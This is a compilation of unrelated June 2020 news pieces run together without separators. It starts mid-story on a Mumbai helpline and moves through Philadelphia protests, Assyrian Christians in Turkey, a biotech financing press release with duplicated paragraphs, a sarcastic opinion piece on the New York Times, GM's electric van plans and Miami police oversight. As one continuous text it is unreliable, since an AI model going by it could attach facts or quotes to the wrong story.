It also submitted that its 1916 helpline was being managed in three shifts by a team of doctors from the KEM , Sion, and Nair hospitals in the city, by ambulance coordinators, and by its control room operators to provide constant help to those seeking information and health care assistance.

It said that the civic body was planning to increase the number of operators in each shift.

"If needed, additional option can be added on same number as IVR 5," the BMC said in a written submission before the court.

The petitioners' counsel Ankit Kulkarni urged the court to direct the civic body to increase the number of mobile clinics since it has more than 20 administrative wards in the city.

Follow our full coverage of the coronavirus pandemic here
On the sixth day of protests against police brutality and racial injustice in the aftermath of George Floyds death, Philadelphia marchers demanded a set of police reforms, and state and local officials offered their most concrete responses yet to the demonstrations.

Mayor Jim Kenney said the city had heard their cries of anguish and vowed to do better," while Gov. Tom Wolf said he would push for legislative police reform and establish a commission to investigate alleged misconduct by the Pennsylvania State Police and other law enforcement agencies under his purview.

In many cities across the country, Thursday was the 10th day of protest, grief, and fury over the death of Floyd, who was killed after a police officer knelt on his neck for nearly nine minutes. As demonstrators nationwide called for criminal justice reform, a memorial for Floyd took place in Minneapolis. In Philadelphia, protesters presented their most unified front yet as they marched from the Art Museum to Independence Mall and back again on another hot day.

We only have one message, and thats police reform, said organizer Sixx King, speaking through a megaphone in front of Independence Hall late Thursday afternoon. And we want it immediately, and we want it from the mayor.

Saying the voices of the thousands of protesters who have taken to the streets every day since Saturday had led us to this point, Kenney announced he would form a steering committee to help the city move toward reconciliation with residents. And Thursday evening, he and Police Commissioner Danielle Outlaw announced they were taking a pledge to address police use-of-force policies in Philadelphia.

I am committed to driving this movement for change forward, Outlaw said in a video posted to Twitter.

 READ MORE: Live updates from Thursday, June 4, marking a sixth day of protests in Philly

The protesters asked the city to implement mental evaluations, social media monitoring, and always-on body cameras for all police officers. They demanded that police lawsuit settlements be funded by the police pension fund rather than taxpayer dollars, that police accused of misconduct be investigated by an outside agency, and that officers with complaints filed against them be permanently banned from policing in any jurisdiction.

These are simple things that they could do that they could put in order, King said, later adding, We will not rest until we get equality.

Criticism came not only from the demonstrators.

Activists and defense lawyers gathered in front of Police Headquarters earlier Thursday to condemn the Police Departments response to the weeks protests, describing it as unnecessarily violent and violating demonstrators rights. And an interfaith coalition of Philadelphias clergy at the statue of Octavius Catto near City Hall criticized the department and called for police accountability.

After the use of tear gas and pepper spray on protesters on Monday, Outlaw defended it as a last resort and said there would be a standard internal investigation; she also said she would not "allow the actions of some individuals within this organization to undermine the efforts that we are trying to make as an organization moving forward during this time. ... I dont need distractions internally to take away from what were trying to accomplish as well.

City Controller Rebecca Rhynhart announced Thursday she would launch an independent review of the citys response to the weeks civil unrest.

Other promises spurred by the protests came in from across the city and state.

Wolf said he wanted every municipality in the state to establish citizen police advisory boards and said he would appoint a deputy inspector general responsible for police matters, including alleged abuse. Among several steps, he directed law enforcement agencies throughout the state to review use-of-force training standards and address implicit bias.

City Council President Darrell L. Clarke also said he will unveil a plan Friday with legislative and budgetary commitments, which he also described as a down payment, so to speak, on what we will be doing to address racial inequity in Philadelphia. At a virtual meeting, City Council members called for investment in the citys black neighborhoods in response to the ongoing unrest in the city and took a knee in Floyds memory.

Outlaw joined other law enforcement leaders, including Pennsylvania Attorney General Josh Shapiro, to call for state legislation to reform the police-hiring process so that records of misconduct or excessive use of force follow cops when they leave a police agency.

Millions are peacefully demanding change in our country and we need to show them were listening. This is a down payment on the kinds of reforms we need to deliver, Shapiro said in a statement.

 READ MORE: Philly Police Commissioner Danielle Outlaw to cops: Dont block your badge numbers

The mayors steering committee will be made up of a large and diverse group of residents and community leaders of color and will be helmed by Deputy Mayor for Children and Families Cynthia Figueroa and City Solicitor Marcel Pratt.

Figueroa said the group will choose its areas of focus based on what the community tells us is most critical," and does not yet have a set timeline.

We will hold the administration accountable for what they said they would do, said Sarah-Ashley Andrews, founder and CEO of Dare2Hope and a member of the new committee. We are looking forward to moving this city in the right direction.

Kenney also said he would likely tweak his budget proposal to City Council, which currently includes a $14 million increase to the Police Department budget while reducing funding to other city services.

After days of separate protests criss-crossing the city, Thursdays effort was one of the most unified. As more than a thousand protesters filed down Market Street, they chanted, The people united will not be divided.

One speaker, Lee Scott Lorde, said the reform needs to go well beyond the Police Department and reach all the white people at City Hall that think theyre liberal.

We need to declare racism as a public health crisis, she said.

Protests also rippled across the Philadelphia suburbs, including a five-mile march down Lancaster Avenue.

And hundreds marched down Broad Street to the School District headquarters in a separate city demonstration held by the Philadelphia principals union to denounce racism. If black lives matter, then black schools matter, State Rep. Malcom Kenyatta (D., Philadelphia) told the crowd.

 READ MORE: Superintendent: No justice, no peace, as Philly educators march against racism

Thursdays marches, like those the two previous days, were peaceful. On Thursday afternoon, Outlaw said 755 people had been arrested since Saturday, 492 of which were code violations for curfew. Police presence was lighter Thursday, with officers surveying the afternoons march but absent from the street corners they had occupied en masse earlier in the week. Some protesters returned to City Hall in the evening to face officers and National Guard members who stood behind a barricade, but police did not immediately enforce the 8 p.m. curfew. The protesters dispersed before 9 p.m.

Kenney also credited the National Guard for helping keep the peace, which he said has freed up police officers to be out in the community doing their job.

We were outnumbered on Saturday night and Sunday. Weve got the Guard in, and I will give them credit  theyve kind of stabilized some things, Kenney said.

Walking along Germantown Avenue with Outlaw, Kenney said the protesters had a right to continue demonstrating as long as they wanted.

This has been a long time coming, Kenney said. I understand why people explode.

Contributing to this article were staff writers Ellie Rushing, Maddie Hanna, Chris Palmer, Allison Steele, Rob Tornoe, Sean Collins Walsh, and Anthony R. Wood, and the Spotlight PA staff.
Inside the sixth century church in southeastern Turkey, dozens of Assyrian Christian women, men and children in their Sunday best attend a service, one of only a few held in their ancient homeland. They are among the nearly 4,000 Assyrians left in the region after violence and poverty forced the community to leave Turkey in the 20th century. They are now scattered across Europe, with over 100,000 living in Germany, nearly 100,000 in Sweden and tens of thousands in Belgium, France and the Netherlands. Assyrian Christians, also known as Syriacs, are part of the eastern Christian tradition and pray in Aramaic, which Jesus is believed to have spoken. Yuhanun Akay, 40, lives in the historic region of Tur Abdin (meaning "Mountain of the servants of God" in Syriac), in the centuries-old village of Gulgoze in Mardin. The village, known as Ain Wardo, meaning "eye of the rose" in Syriac, was once home to hundreds of Assyrian families, where they farmed, prayed and educated their children. Now only three families remain including Akay, a farmer and father-of-eight. "In the past there were 200 Syriac Christian families, and seven priests in the village. We had three churches, so each neighbourhood had a church," he told AFP. "Every Sunday there would be a service in all three churches and they would be full." There are 2,500 churches and 300 monasteries in Tur Abdin, according to Evgil Turker, head of the Federation of Syriac Associations. Community leaders including Turker are worried over the future of the community in Turkey despite a slight recent increase in population figures. There are around 20,000 Assyrians in Istanbul. Like other communities, Turker said Assyrians were affected by the same economic issues and "political pressures" under President Recep Tayyip Erdogan's government. - Empty homes, no schools - During Erdogan's tenure as prime minister between 2003 and 2014, there had been overtures to Assyrians to return to Turkey while confiscated properties were given back to their owners. Despite hope that this would see old villages restored to their former glory, many members of the Assyrian diaspora only come in summer but return to their homes in Europe afterwards, Akay said. Their newly-built homes lie empty in the village. Although the three churches endured for centuries, there has not been a priest serving the community since 2001, according to Akay. The concern is not only religious. Akay described how he would go to a special school to learn Syriac. The school no longer exists. "It's difficult now. There is no one to teach or educate (children)," he lamented. With his wife, Sonia, they try to do as much as they can to teach their children about their roots and the language, and when they need a priest, they are in contact with one in the nearby town of Midyat. - Missing couple - Assyrians refer to the killings of their community in 1915 as a genocide ("sayfo", meaning sword), which took place around the same time as the massacre of Armenians. Some fled to Gulgoze, Akay said, as he described people sheltering in one of the churches where his family pray today. There was then a steady decline in the numbers of Assyrians in Turkey during the 20th century, especially in the 1980s and 1990s when many were forced to move abroad or to Istanbul because of violence between Kurdish insurgents and the state in the southeast. Some left in search of a better life. There were fears earlier this year that Assyrians were being targeted after a couple belonging to the Chaldean Catholic minority went missing in January in Sirnak, near the Iraqi border. While Hurmuz Diril, 71, remains missing, his wife Simoni, 65, was found dead in March. The arrest of Syriac Orthodox priest Sefer Bilecen on terrorism charges also caused concern, but Turker said he did not believe there was state-led targeting of Assyrians. - 'Language melting away' - Back inside the sixth century church on a side street in the old city of Mardin, families solemnly listen to the priest, surrounded by images of Christ and the Virgin Mary. People attending, including retired teacher Deniz Kirilmaz, described how life had improved since the 1990s, with greater freedom to pray. "Living here is very important for our churches, for our monasteries, because our ancestors lived here. To continue this is very significant to us," she added. Turker is one of those who returned to Turkey, describing how he felt a responsibility to serve his community. "This is my country," he said. But Assyrians remain concerned over their heritage in Turkey. "It's as if the language is slowly starting to melt away, and that's upsetting. For a religion like this, a race like this, a people like this to fade away is really bad, it's saddening," Akay said. "God willing it will endure until the end."
English Chinese (Traditional)

SHANGHAI, China, June 04, 2020 (GLOBE NEWSWIRE) -- Everest Medicines, a biopharmaceutical company focused on developing and commercializing transformative pharmaceutical products that address critical unmet medical needs for patients in Greater China and other parts of Asia, today announced that it has successfully completed US$310 million in Series C financing.



The US$310 million Series C financing includes two preferred equity financing tranches, a US$260 million Series C-2 and a US$50 million Series C-1. The Series C-2 was led by Janchor Partners and co-led by RA Capital Management and Hillhouse Capital with additional support from new investors, including Decheng Capital, GT Fund, Janus Henderson Investors, Rock Springs Capital, Octagon Investments and a large, reputable long-term investor. Existing investors, including CBC Group, Cormorant, Pavilion Capital and HBM Healthcare Investments also participated. The Series C-1 comprised of a US$50 million investment from the Jiashan SDIC, which was part of a broader strategic partnership with Jiashan National Economic and Technological Development Zone and Jiashan SDIC announced on March 17, 2020 .

Proceeds from the financing will be used to advance clinical development of Everest Medicines robust pipeline of novel therapeutic candidates and build out a strong commercial infrastructure to support the next phase of growth. To date, the Company has made important progress with its broad pipeline.

Trodelvy TM (sacituzumab govitecan-hziy) is a first-in-class anti-Trop-2 antibody-drug conjugate (ADC) approved in the US for patients with metastatic triple-negative breast cancer (mTNBC) who have received at least two prior therapies. The Company received a Clinical Trial Application (CTA) approval in China for sacituzumab govitecan in mTNBC in April 2020, with plans to initiate clinical development in multiple solid tumor indications.

(sacituzumab govitecan-hziy) is a first-in-class anti-Trop-2 antibody-drug conjugate (ADC) approved in the US for patients with metastatic triple-negative breast cancer (mTNBC) who have received at least two prior therapies. The Company received a Clinical Trial Application (CTA) approval in China for sacituzumab govitecan in mTNBC in April 2020, with plans to initiate clinical development in multiple solid tumor indications. Xerava TM (eravacycline) is a novel, fully synthetic, broad-spectrum parenteral antibiotic of the tetracycline class that has shown broad in vitro activity against Gram-negative pathogens that have acquired multidrug resistance (MDR) and are prevalent in China. Xerava is currently approved for the treatment of complicated intra-abdominal infections (cIAI) in the US and EU. The Company received approval in Singapore for eravacycline in cIAI in April 2020. The Company is conducting a Phase 3 clinical trial in China for cIAI to support regulatory approval.

(eravacycline) is a novel, fully synthetic, broad-spectrum parenteral antibiotic of the tetracycline class that has shown broad in vitro activity against Gram-negative pathogens that have acquired multidrug resistance (MDR) and are prevalent in China. Xerava is currently approved for the treatment of complicated intra-abdominal infections (cIAI) in the US and EU. The Company received approval in Singapore for eravacycline in cIAI in April 2020. The Company is conducting a Phase 3 clinical trial in China for cIAI to support regulatory approval. Etrasimod is a potential best-in-class oral modulator of the sphingosine 1-phosphate receptor (S1PR). The Company is conducting a multi-center Phase 3 clinical trial in ulcerative colitis in Mainland China, South Korea and Taiwan.

Taniborbactam is a parenteral, potential best-in-class, cyclic boronate compound that inhibits both serine and metallo--lactamases. The Company and its licensing partner, Venatorx Pharmaceuticals, are conducting a global Phase 3 clinical trial for patients with complicated urinary tract infections.

Ralinepag XR is a potential best-in-class extended release agonist of the IP receptor that allows convenient oral dosing for the treatment of pulmonary arterial hypertension (PAH). The Company is conducting a global Phase 3 clinical trial in PAH in collaboration with its licensing partner United Therapeutics.

Nefecon is a potential first-in-disease product for the treatment of IgA nephropathy (IgAN). In December 2019, the Company received a CTA approval for Nefecon in IgAN. The Company will join the global Phase 3 clinical trial in collaboration with its licensing partner Calliditas Therapeutics.

FGF401 is a potential first-in-class, ATP-competitive, reversible-covalent inhibitor of FGFR4 for which the Company obtained global rights from Novartis. The CTA for a Phase 1b/2 trial in China in patients with hepatocellular carcinoma was approved in March 2020.

SPR206 is a potential best-in-class, novel polymyxin derivative that was designed to reduce the kidney toxicity that is seen clinically with polymyxin B and colistin.

This is an important milestone for Everest Medicines that reinforces our deep industry expertise and strategic business model to in-license global innovation for the development of critical therapies in Greater China and Asia. We are well-positioned to advance the clinical development of our robust therapeutics pipeline, which spans a number of important diseases, and we look forward to building a strong foundation on which we will grow our commercial business, said Kerry Blanchard, MD, PhD, Chief Executive Officer of Everest Medicines.

Everest Medicines has made remarkable progress securing strategic partnerships with established industry leaders to build and develop its promising therapeutics pipeline, said John Ho, Founder and Chief Industrialist Investor of Janchor Partners. We are excited to partner with Everest to support its mission to deliver innovative therapies to patients with life-threatening diseases in China.

We are proud of what Everest has achieved in such a short period since its inception in late 2017, said Wei Fu, Chairman of Everest Medicines and Chief Executive Officer of CBC Group, which incubated the Company. The strong network of investors validates Everest Medicines early achievements, as well as their confidence in Everests potential to grow into a leading innovative drug platform company in the region.

We are pleased to be joined by this exceptional group of leading global biopharma institutional investors and look forward to partnering with them during this exciting and important period of growth for Everest Medicines, said Ian Woo, President and Chief Financial Officer of Everest Medicines.

About Everest Medicines

Everest Medicines is a biopharmaceutical company focused on developing and commercializing transformative pharmaceutical products that address critical unmet medical needs for patients in Greater China and other Asian markets. The management team of Everest Medicines has deep expertise and an extensive track record of high-quality clinical development, regulatory affairs, CMC, business development and operations both in China and with leading global pharmaceutical companies.

Everest Medicines has built a portfolio of eight potentially global first-in-class or best-in-class molecules, many of which are in late stage clinical development. The Companys therapeutic areas of interest include oncology, autoimmune disorders, cardio-renal diseases and infectious diseases. Currently, four assets are in clinical trials designed for registration in China and two additional assets will start registrational trials in 2020.

For more information, please visit www.everestmedicines.com .

About Janchor Partners

Established in 2009, Janchor Partners is a long-term industrialist investor, partnering with companies that have superior business models, favorable growth prospects and the potential to be part of long term positive structural dynamics of Asian countries and economies. As a genuine thought partner with its investee companies, Janchor Partners helps to increase long-term corporate value and builds strong long-term relationships with investee companies. Janchor Partners mission as an Industrialist Investor is anchored by its purpose to have a lasting impact through deep relationships by building insight and trust. This virtuous cycle of impact, insight and trust can produce win-win-win holistic outcomes that create long-term sustained value.

About RA Capital Management

RA Capital Management is a multi-stage investment manager dedicated to evidence-based investing in public and private healthcare and life science companies that are developing drugs, medical devices, and diagnostics. The flexibility of its strategy allows RA Capital Management to provide seed funding to start-ups and to lead private, IPO, and follow-on financings for its portfolio companies, both facilitating the crossover process and allowing management teams to drive value creation from inception through commercialization.

About Hillhouse Capital

Hillhouse builds business that stand the test of time. We are long-term investors focused on partnering with world-class entrepreneurs to help them grow their business globally. Over more than a decade, weve worked alongside iconic companies that have redefined their industries. We manage capital on behalf of global institutions such as non-profit foundations and pensions, and we are proud that our efforts help support educational scholarships, scientific innovation, and artistic achievements across the world.

About CBC Group

CBC Group (formerly C-Bridge Capital) is one of the largest and most active healthcare-dedicated investment firms in Asia focused on platform-building and buyout opportunities across three core areas within the healthcare sector: pharmaceutical & biotech, medtech and healthcare services. CBCs operationally intensive approach empowers healthcare sector champions to make transformative changes to enable sustainable long-term growth, fulfill unmet medical needs and continuously improve the standard of living and quality of care in China and the rest of Asia. Founded in 2014, CBC has a strong team of investment, healthcare and portfolio management professionals based across Singapore, Shanghai, Beijing, Hong Kong and New York.

About Decheng Capital

Decheng Capital is a leading investment firm that provides capital and strategic support to early stage life science companies developing revolutionary technologies and to growth stage healthcare companies having a strong market presence. Located in Silicon Valley, Shanghai and New York, the Decheng team is comprised of dedicated professionals who bring complementary expertise and outstanding track records of building highly successful companies globally. Founded in 2012, Decheng invests in breakthroughs in life sciences worldwide, and in the historic opportunity afforded by the rapid growth of Chinese healthcare market. With over US$1 billion in capital under management, and support from some of the worlds most prestigious LPs, Decheng is committed to delivering superior returns while creating substantial value for its entrepreneur partners.

About GT Fund

Zhejiang Manufacturing Fund LLP as part of Guoxin Guotong Fund LLP (collectively GT Fund) is a private equity fund incorporated in Hangzhou, China, in 2017 with total size of CNY 10 billion (c.US$1.4 billion). It has the mandate to provide capital and professional support to industrial partners in the region. GT Fund specializes in cross-border investment projects following the principles of market-orientation, professionalism and internationalization and is actively investing in the field of healthcare, advanced manufacturing, clean energy, etc. GT Fund's portfolio of investments seeks to provide superior risk-adjusted returns to its co-investors as well as limited partners. Guoxin Guotong Fund LLP is a private equity fund established in 2016 with total size of CNY 150 billion (c.US$21.1 billion).

About Janus Henderson Investors

Janus Henderson Investors is a leading global active asset manager with US$294.4 billion assets under management as of March 31, 2020. Janus Henderson was formed in 2017 from the merger of two complementary businesses that trace their roots back much further. US-based Janus Capital Group was founded in 1969 and had a strong research-based approach. Henderson Global Investors was founded in the UK in 1934 and also offered largely bottom-up, analysis-based strategies. The core client bases of each group were regionally distinct and the merger of equals formed a truly global platform  global in capabilities and global in mindset. Janus Henderson Investors exists to help clients achieve their long-term financial goals.

About Cormorant

Cormorant Asset Management LP (Cormorant), headquartered in Boston, Massachusetts, is a biotech focused investment firm founded in 2013, and it currently manages approximately US$1.8 billion in assets. Since its inception, Cormorant has established itself as a premier crossover investor for companies looking to go through the IPO, as well as a long-term horizon investor for companies that are just starting out. Cormorants investments are led by its founder, Bihua Chen, who prior to launching Cormorant has spent fifteen years successfully investing in the healthcare universe.

About Rock Springs Capital

Rock Springs Capital is an investment advisory firm established in 2013 to pursue a strategy focused primarily on investing in healthcare and healthcare-related companies.

About Octagon Investments

Octagon Investments Master Fund LP (Octagon Investments) is an exempted limited partnership formed under the laws of the Cayman Islands and operating as a private investment fund. Octagon Capital Advisors LP (Octagon Capital), a Delaware limited partnership and Registered Investment Advisor with the SEC, serves as the investment manager to Octagon Investments. Founded in 2019, Octagon Capital is a multi-stage investment manager dedicated to evidence-based investing in public and private healthcare companies. Octagon Capital strives to build concentrated, long-term investments and work with our portfolio management teams as partners. Octagon Capital manages capital on behalf of global institutions such as university endowments, non-profit foundations, family offices and established asset managers.

About Pavilion Capital

Pavilion Capital is an investment company based in Singapore, investing primarily in Asia. The firms investments are in funds and companies across different sectors, particularly in innovative technology and healthcare.

About HBM Healthcare Investments

HBM Healthcare Investments was founded in 2001 and invests in the healthcare sector. The Company holds and manages an international portfolio of promising companies in the human medicine, biotechnology, medical technology and diagnostics sectors and related areas. Many of these companies have their lead products already available on the market or at an advanced stage of development. The portfolio companies are closely tracked and actively guided in their strategic direction. This is what makes HBM Healthcare Investments an interesting alternative to investments in big pharma and biotechnology companies. HBM Healthcare Investments has an international shareholder base and is listed on SIX Swiss Exchange (ticker: HBMN).

For further information, please contact:

Everest Medicines

Media in US and Europe:

Darcie Robinson

Vice President

Westwicke PR

(203) 919-7905

darcie.robinson@icrinc.com



Media in China:

Edmond Lococo

Managing Director

ICR Asia

+86 (10) 6583-7510

edmond.lococo@icrinc.com
Everyone is entitled to his own opinion, but not his own facts.

How quaint seems this trenchant observation by the late Daniel Patrick Moynihan, one of the greatest progressive thinkers of the 20th centurys latter half. Not because of the patriarchal pronoun presumptions of the aging white cis male; I refer to Senator Moynihans very assumption that there are facts. That there is an objective reality on which we can all agree, even if we disagree about what it means. And equally important, that there is a way of getting to facts, a common language of reason that enables us to investigate, communicate, and explicate.

Senator Moynihan would not recognize that paragon of 21st century progressivism, the New York Times.

On Thursday, with its snowflakes in meltdown, the Times issued an apology. What triggered the staff? Was it an earthquake, perhaps? A mass-casualty attack? An assassination? A cinnamon rugelach shortage at Zabars? No, this unspeakable atrocity was an op-ed . . . by a conservative Republican senator . . . and a combat veteran from, you guessed it, the South!

Oh, lets not be too hard on them. It took a full day of mau-mauing before the Times said Uncle  or whatever non-binary relation we use to convey surrender these days. The Upper West Side can rest assured therell be no more Tom Cotton screeds to churn bile through the avocado toast  they can go back to the thoughtful essayists of Hamas and the Islamic Republic of Iran. No more unnerving mentions of federal statutes like . . . dare I utter it . . . the Insurrection Act that have been on the books for two centuries. Fear not, the Gray Ladys opinion pages will now get back to the laws that arent on the books  for example, did you know that without legal protection, a pedophile cannot risk seeking treatment or disclosing his status to anyone for support? (And hey, hey, hey, whats with the his?)

The best part of the Timess apology, the instant classic, was the commitment to expanding our fact-checking operation. Plainly, they dont mean fact-checking the way you antediluvian types think of facts and checking. After all, as our Rich Lowry details, Senator Cottons op-ed was exhaustively fact-checked. And, while the prestigious academic institution in question is not anxious to have word of this get around (so lets keep it between us, shall we?), Tom Cotton graduated magna cum laude from Harvard and was on the editorial board of The Crimson. Cotton doesnt like to brag, but he can speak fluid Times. There is no possibility that the many communications between the senators office and the papers opinion editors were garbled.

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And, while this may be a real phenomenon in the 21st century, the fact-checking worked, in just the way Moynihan talked about facts: stuff that is true, regardless of whether we like it. You are entitled to your own opinion, of course. You may believe a proposal to invoke the Insurrection Act of 1807 to help police restore order in major American cities is a Know-Nothing stratagem that smacks of racism and fascism. Or you may not be unhinged but believe, nevertheless, that it is a bad idea. That, however, does not falsify the assertions of fact on which Cotton relied.

The Insurrection Act has the force of law. It authorizes the president to use the armed forces of the United States  the National Guard as well as the other armed services, as needed  to suppress insurrections and wide-scale societal violence. Some provisions, consistent with Article IV of the Constitution, condition the presidents authority to call the military into service for these purposes on the request of the state government. Yet not all do. If the commander-in-chief assesses that a threat is sufficiently dire, unilateral action is authorized. Thus, the law provides:

Whenever the President considers that unlawful obstructions, combinations, or assemblages, or rebellion against the authority of the United States, make it impracticable to enforce the laws of the United States in any State by the ordinary course of judicial proceedings, he may call into Federal service such of the militia of any State, and use such of the armed forces, as he considers necessary to enforce those laws or to suppress the rebellion.

Another section, moreover, empowers presidents to use the armed forces based on their own judgment that doing so is necessary to suppress, in a State, any insurrection, domestic violence, unlawful combination, or conspiracy that threatens to deprive Americans of their rights.

The contentions that invocation of the Insurrection Act would be unconstitutional, unlawful, or unprecedented are legally and historically ignorant. And how ironic is the notion that a presidents doing so over the objection of state governments would be racist? Historically, the presidents power has been deployed against the forces of racism that state governments either could not suppress or actually supported  in response to the Ku Klux Klan after passage of the 1871 Civil Rights Act, and to enforce desegregation and civil rights in the years following the Supreme Courts landmark 1954 decision in Brown v. Board of Education. And the law has been invoked on other occasions to help police restore order after extensive rioting has broken out, such as in Detroit in the late 1960s and Los Angeles in 1992.

Relying on this detailed history and statutory law, Senator Cotton posited that deploying military forces to assist police and protect Americans besieged by rioters and looters does not establish martial law, much less end democracy. That is true, as is his related assertion that such deployments do not violate the Posse Comitatus Act of 1878  a law that generally bars the military from civilian law-enforcement functions, but that expressly prescribes exceptions, which include the Insurrection Act.

Can we be honest? I dont know, since honesty implies, along with good faith, a common ground for assimilating basic reality. Assuming we can be honest, we know, as the Times knew thanks to meticulous scrutiny, that Cotton was right . . . about his underlying facts.

That doesnt make the opinion he formulates from them right. He could be well informed yet wrong. It may be, as many forcefully argue, that state-government approval as a prerequisite to federal intrusions to quell domestic violence should be required, based on both the express terms of the Constitutions Article IV and the Framers preference for state sovereignty over intrastate affairs. It could be that, as others insist, the kind of upheaval we are currently witnessing traces to deep-seated societal problems that can be effectively addressed only by a cooperative federal-state response. It may be, as Trump critics contend, that unilateral federal action, coupled with gratuitously provocative presidential rhetoric, is more apt to exacerbate than ameliorate the crisis. Or it could be, as some Trump supporters counter, that having been governed by progressive Democrats for decades, big cities are seething because of toxicities of their own making, and that there can be no lasting solutions until they shoulder the consequences and take responsibility for fixing them.

There are a plethora of other possibilities, no doubt. Thats how it is with opinion, and with the op-ed pages of a vaunted Newspaper of Record. But not with fact.

Where it was reporting fact, Tom Cottons op-ed was accurate. Cotton is a smart guy. The Times opinion editors are smart people. The piece was published only because they mutually agreed on the rudimentary facts. That is how it becomes possible for people, even people who disagree intensely, to have a dialogue and maybe make progress.

So what does the Times now mean about expanding our fact-checking operation? It can only mean that this operation will censor  or, better, further censor, to the point of exclusion  opinions that depart from modern progressive dogma. And that dogma comes with its own facts. Having ones own facts is an absurd notion, but it is the cast of mind reflected by the 21st-century progressives easy allusions to my truth, as if there were more than one.

That is what should most distress us about the otherwise low comedy of the Times, once a great institution of this country, throwing itself on the pyre.

Real progress is only possible, and real cohesion is only stable, if a society can agree that there are objective facts, and that they can be gotten at through reason and common sense. Only with that in place is it possible for us to work out our differences, or at least agree to disagree in peace. You dont get to have your own facts. We used to know that.

More from National Review
Models of the Rivian-built Amazon electric delivery vans are seen in this handout photo in Plymouth, Mich., U.S., Nov. 13, 2019. (Jordan Stead/Amazon/Handout via Reuters)

GM Plans Electric Van for Business Users in Bid to Preempt Tesla

DETROITGeneral Motors Co. is developing an electric van aimed at business users, joining a growing list of carmakers planning EVs for the same segment that includes customers such as Amazon.com Inc. and United Parcel Service Inc., five people familiar with the plans told Reuters.

That multibillion-dollar strategy could enable GM, Ford Motor Co., and at least two EV startups to build and deliver more electric vehicles at a time when consumer demand for battery-powered models is still a small fraction of overall industry sales while targeting a potentially lucrative market segment that Tesla Inc. has yet to address.

GMs plan to develop an electric van hasnt previously been reported. While the No. 1 U.S. automaker didnt confirm the van, it has said it plans to introduce at least 20 new all-electric vehicles by 2023, in a variety of body styles including sedans, trucks, and crossovers.

The Detroit automakers, which count trucks and commercial vehicles among their most profitable businesses, dont want to leave the door open for Tesla as they did in consumer passenger cars, suppliers familiar with such plans at GM and Ford told Reuters.

UPS believes electric vans have the potential to disrupt the commercial market, said Scott Phillippi, the package delivery firms senior director of fleet maintenance and engineering.

Its going to be similar to what the Model 3 has done for the consumer market, Phillippi said, referring to Teslas small near-luxury electric sedan. Now, all of a sudden, were off to the races.

The GM vancode-named BV1is due to start production in late 2021, the sources said. Its believed the BV1 van will share some components with GMs future electric pickups and SUVs, including the automakers new Ultium advanced battery system. Its expected to be assembled alongside the electric trucks at GMs Detroit-Hamtramck plant.

GM is considering whether to offer the electric van through its traditional truck brandsChevrolet and GMCor market it under a different brand such as Maven, the sources said. GMs first electric pickup truck, due in late 2021, will be sold by GMC dealers under the Hummer brand.

In a statement, GM said it is committed to an all-electric future and is implementing a multi-segment, scalable EV strategy to get there. At this time, we do not have any announcements to make regarding electric commercial vehicles.

The GM electric van project is aimed at an important segment of the emerging EV marketcommercial delivery vehicles. For established players, this is a hugely profitable business segment driven by cost of ownership, not fancy tech or star power. Its also a segment in which Tesla and its high-profile CEO, Elon Musk, lack an entry to compete for sales and CO2 credits, which allow automakers to offset the sale of non-electric vehicles, including high-margin pickups and SUVs.

Buyers of commercial vans want reliability and not necessarily a flashy brand name, said Sam Fiorani, vice president of global vehicle forecasting at AutoForecast Solutions. The reduced maintenance and fuel use of electric vehicles become very attractive to a business customer, where the current limitations of EVs make the price premium less attractive to individual consumers.

In February, Ford said it would introduce an electric version of its Transit van for the model year 2022. The most critical bet we will be making over the next several years will be our commercial vehicles, Fords chief operating officer, Jim Farley, told Reuters at the time.

Ford also is an investor in Michigan-based startup Rivian, which is scheduled to begin building the first of 100,000 mid-size electric vans for Amazon next year.

Amazon rival UPS has commissioned 10,000 mid-size electric vans from British startup Arrival, which is backed by Koreas Hyundai Motor Co. and its sister company Kia Motors Corp.

The combined value of the Amazon and UPS contracts with Rivian and Arrival is estimated at $4 billion or more.

And more players in the segments will likely follow, including Daimler AG, Volkswagen AG, and Fiat Chrysler Automobiles NV, said Samit Ghosh, chief executive of the Americas for consulting and engineering firm umlaut.

The delivery vans is a volume not to be underestimated, he said. I would not just call it a niche segment.

By Ben Klayman & Paul Lienert
Four decades after Miamis black community erupted in anger after four white Miami-Dade County police officers were acquitted of killing black insurance salesman Arthur McDuffie, the county is again grappling with the idea of civilians overseeing the actions of its police force.

The calls for an independent review board have grown louder as massive protests have unfolded in South Florida and almost every other major U.S. city, since George Floyd, an unarmed black man, died after a white Minneapolis police officer held his knee on Floyds neck.

Demonstrators are demanding more police accountability. On Wednesday, the countys Black Affairs Advisory Board formally urged Miami-Dade to install a citizen review board. In the meantime, the board resolved to act as its own review panel through public records requests of citizen complaints.

The time is now, said Justin Pinn, a black educator and leader of a federally appointed board overseeing reforms in Miamis city police department. The time is really yesterday.

Critics such as police unions, which deliver votes and campaign contributions, argue civilian oversight is just another unnecessary, unchecked layer of review on top of internal affairs  an arm of the police department that reviews its own.

When you add this, who regulates them?, said Steadman Stahl, president of the union called the South Florida Police Benevolent Association. They want to be totally independent. They answer to nobody. I think thats kind of dangerous.

Proponents have long maintained that cops policing each other allows officers to protect each other, and that outside eyes provide better scrutiny.

Panels like one that existed for 30 years after the 1980 McDuffie riots can investigate complaints against police and independently review internal affairs inquiries. Such groups have no authority to discipline officers  but they can seek answers, review records and issue reports and recommendations to top police brass, who have no obligation to follow the advice.

Story continues

The county panel lost its funding in 2009 during a budget crisis, and the money never returned, despite high-profile incidents of police misconduct in Miami-Dade.

In 2018, Mayor Carlos Gimenez vetoed legislation backed by the County Commissions four black members and passed by a slim majority of commissioners to reinstate the board, with seats filled by representatives of community groups. Gimenez said he would only accept a board appointed solely by county commissioners.

Last week, as thousands took their frustration to Miamis streets, a Miami-Dade commissioner running for mayor in August said one of the reasons the county doesnt need to revive the oversight panel is because the commission is diverse enough  even though commissioners have no part in investigating complaints against police.

Other law enforcement agencies handle complaints against their officers differently.

In Broward, County Mayor Dale Holness said he favors creating such an oversight group. Sheriff Gregory Tony would prefer to give a recently overhauled joint police/citizen review board a chance to hold deputies accountable before advocating for an independent panel.

In Miami, the debate is underscored by a history of affronts to the African-American community, from the construction of Interstate 95 through the heart of Overtown in the 1960s, to the McDuffie verdict in 1980, to the killing of several unarmed black men by police in the early 2010s. Those killings led to investigations and monitoring by the U.S. Department of Justice.

More recent incidents have raised questions about officers use of force, and in January, black members of the police department said leadership has ignored complaints of discrimination within the force.

Police oversight is certain to emerge as a key issue in this years elections. An exasperated black community wants leaders to follow through on meaningful change.

Who watches the police?

